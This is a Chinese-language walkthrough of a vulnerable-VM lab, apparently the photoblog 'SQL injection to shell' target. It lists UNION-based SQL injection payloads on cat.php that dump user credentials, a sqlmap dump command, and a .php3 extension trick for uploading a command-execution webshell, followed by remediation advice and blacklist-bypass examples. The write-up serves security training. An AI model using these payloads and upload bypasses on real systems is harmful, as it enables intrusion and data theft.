环境介绍
测试环境下载地址：
https://
2
复现过程
1.使用namp进行目标IP开放端口扫描
2.通过Nmap的主机端口发现，了解靶机对开放22、80端口，接下来我们对80端口进行访问，可以发现存在id=X的SQL注入风险点
3.通过SQL注入攻击，进行拖库
/cat.php?id=1 order by 5
/cat.php ?id=2 order by 4 通过执行POC，可知存在4列
/cat.php?id=-1 union select 1,database(),3,4 通过database()函数获取当前数据库为photoblog
/cat.php?id=-1 union select 1,table_name,3,4 from information_schema.tableswhere table_schema="photoblog"通过已获取的库名结合information_schema .tables表，获取photoblog库下相应表名
/cat.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"结合收集信息，获取users表中字段
/cat.php?id=-1 union select 1,group_concat(login,0x3a,password),3,4 from users获取表中用户信息
在这里使用Salmap进行拖库,命令如下：
>.\sqlmap.py -u "http://192.168.17.140/cat.php?id=1" -D photoblog -T pictures -C id,cat,img,title --dump --start 1 --stop 5 表示获取categories表中1-5的数据
\sqlmap\output\192.168.17.140\dump\photoblog目录下的pictures.csv文件为拖库导出的相应表数据
4.通过获取的Admin用户信息登录网站后台
1)上传普通的jpeg文件，通过Burp抓/放包过程可以获取服务器相应的适配组件
2) 通过上传发现存在PHP文件上传限制
3)对于php语言除了可以解析以php为后缀的文件，还可以解析php2，php3、php4、php5这些后缀的文件。通过修改php文件后缀为php3，绕过文件上传黑名单，上传使用GET参数获取命令执行的PHP文件
4)访问上传后文件所在界面，通过查看源码可以发现文件所在位置
5)访问上传文件，并结合相应的系统命令进行传参执行
3
修复建议
预防SQL注入
严格检查输入变量的类型和格式
对数字类型的参数id的强校验（empty()为空验证和is_numeric()进行数字验证）
对字符串类型的参数的校验 （正则校验），例如登陆系统的用户名的校验，若校验规则为六位数字以上的字母或者数字，可以用preg_match("/^[a-zA-Z0-9]{6,}$/")
过滤和转义特殊字符
用php函数addslashes()进行转义，一般是对这些特殊字符进行转义：单引号（'）、双引号（"）、反斜杠（\）、NULL
用mysqli的php扩展中的函数 mysqli_real_escape_string()，转义字符串中的特殊字符
预防文件上传漏洞
验证文件扩展名通常有两种方式：黑名单和白名单
其他几种文件上传漏洞防御方法：
检查文件上传路径（避免0x00截断、IIS6.0文件夹解析漏洞、目录遍历）
文件扩展名检测（避免服务器以非图片的文件格式解析文件）
文件MIME验证（比如GIF图片MIME为image/gif，CSS文件的MIME为text/css等）
文件内容检测（避免图片中插入 webshell）
图片二次渲染（最变态的上传漏洞防御方式，基本上完全避免了文件上传漏洞）
文件重命名（如随机字符串或时间戳等方式，防止攻击者得到 webshell的路径）
4
总结思考
黑名单过滤是一种不安全的方式，黑名单定义了一系列不安全的扩展名，服务器端在接收文件后，与黑名单扩展名对比，如果发现文件扩展名与黑名单里的扩展名匹配，则认为文件不合法。
为什么黑名单过滤是一种不安全的方式？
比如一个Web服务器为IIS6.0，Web语言为asp的网站，假定开发者使用了黑名单过滤，过滤了asp、asa、cer 等文件格式，那么可以尝试以下几种方式来绕过：
(1)大小写，比如AsP、cER等；
(2)被忽略的扩展名，IIS6.0会把cdx格式的文件当成asp来解析；
(3)配合解析漏洞，上传asp;.jpg格式文件；
(4)如果Web服务器开启了其他语言的支持，比如可以解析php文件，那么可以上传php格式的木马；
(5)利用Windows系统自动去除.和空格的特性，如上传扩展名asp.式的文件来绕过
通过以上几个例子可看出 , 黑名单过滤可靠性并不高 , 白名单过滤相对来说较为可靠
白名单与黑名单的机制恰恰相反，黑名单是定义不允许上传的扩展名，白名单则是定义允许上传的扩展名，虽然采用白名单可以防御未知风险，但是不能完全依赖白名单，因为白名单不能完全防御上传漏洞，例如各种解析漏洞等，白名单仅仅是防御上传漏洞的第一步。通常会结合其他验证方式来使用，虽然不能完全防御文件上传漏洞，但也基本上规避了绝大部分风险。
值得注意的一点是，攻击者上传了webshell之后需要得到webshell的路径才能通过工具连接webshell，所以尽量不要在任何地方（如下载链接等）暴露文件上传后的地址。